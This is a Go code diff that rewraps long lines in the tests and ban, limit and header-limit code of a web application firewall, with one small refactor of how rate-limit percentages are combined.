t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
t.Errorf(
"alerts wait %+v, want the first and another, with 1 repeat",
waiting,
)
}
}
@@ -201,7 +205,10 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
got = append(got, alert.Client.String())
}
if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
if want := []string{allowed, exempt, client, denied}; !slices.Equal(
got,
want,
) {
t.Errorf("alerts for the clients %v, want %v", got, want)
}
}
@@ -210,7 +217,10 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel()
// With every threshold off, nothing is counted.
s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
s, server, queue := startWithLookups(
t,
map[string]string{watchNets: office},
)
for range 5 {
s.uploadFrom(client)
@@ -306,7 +316,10 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
got[counter.ASN] = counter.Minute.Current
}
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
got,
want,
) {
t.Errorf("requests by AS number %v, want %v", got, want)
}
}
@@ -324,7 +337,9 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {
release()
waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
_, kept := server.Load().GeoJS.Kept(
netip.MustParsePrefix(fromDE + "/32"),
)
return kept
})
@@ -342,7 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// number it gives.
s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
t.Errorf(
"log line has AS number %q, want none: the request waited",
line.ASN,
)
}
want := []anomaly.Counter{{
@@ -357,10 +375,15 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel()
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
})
s, _, server, _ := startAppWithAlerts(
t,
readAndAnswer,
map[string]string{
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
// client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -372,7 +395,10 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
got[counter.Name] = counter.Minute.Current
}
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
got,
want,
) {
t.Errorf("requests by named netblock %v, want %v", got, want)
}
}
+185 -48
View File
@@ -75,7 +75,9 @@ func fillHeaders(req *http.Request, total int) {
}
}
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
t *testing.T,
) {
t.Parallel()
s := startWAF(t, "", map[string]string{wafMode: block})
@@ -90,7 +92,10 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testin
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationCoreRuleSetMS != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
t.Errorf(
"the Core Rule Set read the request, for %f ms",
*line.DurationCoreRuleSetMS,
)
}
}
@@ -102,8 +107,12 @@ func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
fillHeaders(req, headerFieldLimit+1)
do(t, req)
wantHeuristic(t, s.out.requestLine(t), "header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
wantHeuristic(
t,
s.out.requestLine(t),
"header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`,
)
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
@@ -160,7 +169,12 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
if tc.refused {
wantDisposition(t, got, tooLarge, waf.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
wantLine(
t,
line,
tooLarge,
requestlog.ActionRequestHeaderTooLarge,
)
return
}
@@ -169,7 +183,9 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationCoreRuleSetMS == nil {
t.Error("the Core Rule Set did not read a request within the limits")
t.Error(
"the Core Rule Set did not read a request within the limits",
)
}
})
}
@@ -198,7 +214,11 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client})
s := startWAF(
t,
"",
map[string]string{wafMode: block, allowNets: client},
)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -219,8 +239,12 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
line.DurationCoreRuleSetMS != nil {
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
t.Errorf(
"would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction,
line.DurationCoreRuleSetMS,
requestlog.ActionRequestHeaderTooLarge,
)
}
}
@@ -235,7 +259,12 @@ func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
}
wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow)
wantDisposition(
t,
s.ask(client, "/"),
http.StatusOK,
waf.DispositionAllow,
)
}
func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
@@ -310,7 +339,12 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge)
wantLine(
t,
s.out.requestLine(t),
tooLarge,
requestlog.ActionRequestHeaderTooLarge,
)
})
}
}
@@ -327,9 +361,12 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
})
s := startWAF(t, "", map[string]string{
lookupSource: fileSource, lookupDBPath: path,
tagLists: "vpn=" + vpnList,
routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}),
dnsblZones: dnsblZone, reputationAction: actionLog,
tagLists: "vpn=" + vpnList,
routeWatchURL: startRouteWatch(
t,
map[string]standInRoute{client: {prefixDE, 64496}},
),
dnsblZones: dnsblZone, reputationAction: actionLog,
rulesDir: writeRules(t, "noted path log ^/\n"),
wafMode: block,
})
@@ -351,19 +388,34 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
lines[0].DurationCoreRuleSetMS != nil {
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none",
lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS)
t.Errorf(
"rule ids %v, counts %+v and Core Rule Set time %v, want none",
lines[0].RuleIDs,
lines[0].Counts,
lines[0].DurationCoreRuleSetMS,
)
}
// The request within the limits shows that each check leaves its mark.
wantTags(t, lines[1],
"asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn")
wantTags(
t,
lines[1],
"asn=64496",
"country=DE",
"dnsbl="+dnsblZone,
"exploitsignature",
"vpn",
)
wantTagsMissing(t, lines[1], "no_answer_yet")
if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
lines[1].DurationCoreRuleSetMS == nil {
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each",
lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS)
t.Errorf(
"rule ids %v, counts %+v and Core Rule Set time %v, want each",
lines[1].RuleIDs,
lines[1].Counts,
lines[1].DurationCoreRuleSetMS,
)
}
}
@@ -378,17 +430,29 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
})
countClient(t, s.server, s.clock.Now())
wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny)
wantDisposition(
t,
s.ask(fromDE, "/"),
http.StatusForbidden,
waf.DispositionDeny,
)
line := s.out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantLine(
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
}
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
t *testing.T,
) {
t.Parallel()
// The client's next request takes it over the whole limit, so it does
@@ -403,17 +467,29 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T
}})
countClient(t, s.server, s.clock.Now())
wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny)
wantDisposition(
t,
s.ask(client, "/"),
http.StatusForbidden,
waf.DispositionDeny,
)
line := s.out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantLine(
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
}
}
func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) {
func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
t *testing.T,
) {
t.Parallel()
geojsURL, asked := startGeoJS(t)
@@ -427,8 +503,12 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T)
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+
"want neither", asked(), got.header.Get("X-Client-Asn"))
t.Errorf(
"GeoJS was asked about %v, and the answer gave the AS number %q, "+
"want neither",
asked(),
got.header.Get("X-Client-Asn"),
)
}
}
@@ -455,7 +535,12 @@ func askDirectly(
) (int, time.Duration) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(waf.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id")
@@ -471,12 +556,20 @@ func askDirectly(
// banClient bans client at now.
func banClient(_ *testing.T, server *waf.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
server.Ledger.BanForLimit(
netip.MustParsePrefix(client+"/32"),
now,
bans.Notes{},
)
}
// countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *waf.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
server.Limiter.Count(
netip.MustParsePrefix(client+"/32"),
now,
wholeLimit,
)
}
// listClient puts client on the blocklist at dropURL.
@@ -559,13 +652,22 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
})
status, took := askDirectly(
t,
server,
func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
},
)
if status != tc.status || took != 0 {
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
status, took, tc.status, out.text())
t.Errorf(
"answered %d after %s, want %d at once; output:\n%s",
status,
took,
tc.status,
out.text(),
)
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -577,7 +679,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
}
}
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -616,11 +720,21 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {})
status, took := askDirectly(
t,
server,
func(*http.Request) {},
)
if status != tc.status || took != defaultLookupWait {
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
status, took, tc.status, defaultLookupWait, out.text())
t.Errorf(
"answered %d after %s, want %d after %s; output:\n%s",
status,
took,
tc.status,
defaultLookupWait,
out.text(),
)
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -664,7 +778,11 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
synctest.Test(t, func(t *testing.T) {
// AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
server.Limiter.AddToHistory(
group,
time.Now(),
ratelimit.Request{Attack: true},
)
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test")
@@ -673,9 +791,17 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
})
// The wait for GeoJS decides when the answer comes.
if status != http.StatusOK || took != defaultLookupWait || took >= answerTimeLimit {
t.Errorf("answered %d after %s, want %d after %s, within %s; output:\n%s",
status, took, http.StatusOK, defaultLookupWait, answerTimeLimit, out.text())
if status != http.StatusOK || took != defaultLookupWait ||
took >= answerTimeLimit {
t.Errorf(
"answered %d after %s, want %d after %s, within %s; output:\n%s",
status,
took,
http.StatusOK,
defaultLookupWait,
answerTimeLimit,
out.text(),
)
}
// Each outside source was asked, and none has answered. GeoJS is asked
@@ -686,10 +812,17 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// The resolver holds the query until it is released below, so a waf
// that waited for the query would answer only once it had failed.
queries, failures := server.DNSBL.Queries(dnsblZone), server.DNSBL.Failures(dnsblZone)
queries, failures := server.DNSBL.Queries(
dnsblZone,
), server.DNSBL.Failures(
dnsblZone,
)
if queries != 1 || failures != 0 {
t.Errorf("%d queries to the DNS blocklist, %d failed, want 1, none failed",
queries, failures)
t.Errorf(
"%d queries to the DNS blocklist, %d failed, want 1, none failed",
queries,
failures,
)
}
if checked := server.AbuseIPDB.Checked(); checked != 1 {
@@ -721,7 +854,11 @@ const (
func startHeldResolver(t *testing.T) (string, func()) {
t.Helper()
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
conn, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
+33 -10
View File
@@ -29,7 +29,11 @@ type activeBan struct{}
func (activeBan) name() string { return "active_ban" }
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
func (activeBan) check(
_ context.Context,
rq *request,
now time.Time,
) *verdict {
check := rq.h.ledger.Check
if rq.h.config.Observe {
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -101,7 +105,11 @@ func (rq *request) countedBytes() int64 {
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
func (rq *request) banForLimit(
now time.Time,
hit ratelimit.Hit,
status int,
) {
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -115,7 +123,8 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
if rq.h.config.Observe &&
!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
return
}
@@ -164,8 +173,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
// alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
if rq.h.config.Observe &&
!rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
)
}
notes.ASN = rq.line.ASN
@@ -198,10 +210,16 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
func (rq *request) banForCrowdSec(
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
if rq.h.config.Observe &&
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
}
notes := bans.Notes{
@@ -214,8 +232,13 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
netblock,
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan {
rq.alertBan(ban)
}
+115 -26
View File
@@ -33,29 +33,52 @@ const (
func TestBrokenLimitBansTheClient(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
s, clk, _ := startWithClock(
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The request over the limit of one a minute is refused, and bans the
// client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
expires)
t.Errorf(
"log line has limit_hit %q, offence %q and ban_expires %q, "+
"want minute, limit and %s",
line.LimitHit,
line.Offence,
line.BanExpires,
expires,
)
}
// Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others", line.BanExpires, line.Offence,
line.LimitHit, expires)
line = s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != expires || line.Offence != "" ||
line.LimitHit != "" {
t.Errorf(
"log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others",
line.BanExpires,
line.Offence,
line.LimitHit,
expires,
)
}
// Once it ends, the client is let through.
@@ -78,7 +101,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
return line.BanExpires
}
@@ -119,7 +146,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
s, clk, server := startWithClock(
t,
"",
map[string]string{rateLimitPerDay: "2"},
)
// The third request in a day is over the limit of two, and bans the
// client for an hour.
@@ -128,7 +159,11 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 {
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}
// Later the same day the client has its whole allowance again: the
@@ -141,7 +176,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
t.Errorf(
"bans %+v, want two, the first with 3 requests refused",
banned,
)
}
}
@@ -192,10 +230,18 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(
tc.breaker,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
for _, sent := range tc.refused {
s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
sent,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}
for _, sent := range tc.let {
@@ -220,7 +266,11 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country)
}
@@ -241,7 +291,11 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
}
@@ -347,8 +401,12 @@ func TestBanNotes(t *testing.T) {
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock)
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
if len(got) != 2 ||
got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf(
"bans %+v, want two, the second with one earlier ban for a limit",
got,
)
}
}
@@ -364,10 +422,18 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}
// clock is the time a test sets, by which sww counts requests and
@@ -408,9 +474,20 @@ func startWithClock(
settings := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(settings, env)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
addr, out, server := startProxyWithClock(
t,
app.URL,
geojsURL,
clk.Now,
settings,
)
return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server
return &sender{
t: t,
addr: addr,
wafAddr: server.Addr,
out: out,
}, clk, server
}
// sender sends requests to rproxy one after another, each on a connection of its
@@ -437,7 +514,11 @@ func (s *sender) get(from string, status int, action string) logLine {
// X-Forwarded-For names it, and checks that its answer and its log line
// have status, 0 for the connection closed without an answer, and that
// the line has action. It returns the log line.
func (s *sender) request(from, path string, status int, action string) logLine {
func (s *sender) request(
from, path string,
status int,
action string,
) logLine {
s.t.Helper()
return s.requestWithHeader(from, path, "", status, action)
@@ -450,7 +531,15 @@ func (s *sender) requestWithHeader(
) logLine {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
line, _ := s.requestWithBody(
http.MethodGet,
from,
path,
header,
"",
status,
action,
)
return line
}
+41 -13
View File
@@ -22,8 +22,10 @@ type percentage struct {
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
return len(cfg.ASNBytesPercent) > 0 ||
len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
}
// limitPercentages returns the client's limit percentages, for the rate
@@ -48,7 +50,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
unknown = percentage{
cfg.UnknownLimitPercent,
"SWW_UNKNOWN_LIMIT_PERCENT",
}
}
fetched := percentage{percent: whole}
@@ -58,24 +63,41 @@ func (rq *request) limitPercentages() (percentage, percentage) {
blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
blocklisted = percentage{
cfg.BlocklistLimitPercent,
"SWW_BLOCKLIST_ACTION",
}
}
reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
if (rq.dnsblListed || rq.abuseIPDBHit) &&
cfg.ReputationAction == "limit" {
reputationListed = percentage{
cfg.ReputationLimitPercent,
"SWW_REPUTATION_ACTION",
}
}
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
asnRequests := lowest(
given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
fetched,
)
countryRequests := given(
cfg.TagLimitPercent,
countryTag(country),
tagSetting,
)
otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
otherTags = lowest(
otherTags,
given(cfg.TagLimitPercent, tag, tagSetting),
)
}
}
@@ -85,12 +107,18 @@ func (rq *request) limitPercentages() (percentage, percentage) {
}
if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
countryBytes = given(
cfg.CountryBytesPercent,
country,
"SWW_COUNTRY_BYTES_PERCENT",
)
}
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
// The limits that lower requests and bytes alike.
common := lowest(otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
}
// given returns the percentage percents, the setting named setting, gives
+115 -28
View File
@@ -86,7 +86,11 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit.
for range 3 {
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
line := s.get(
fromKP,
http.StatusOK,
requestlog.ActionForward,
)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none)
@@ -118,7 +122,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(tc.from)
if line.LimitHit != minuteBytes {
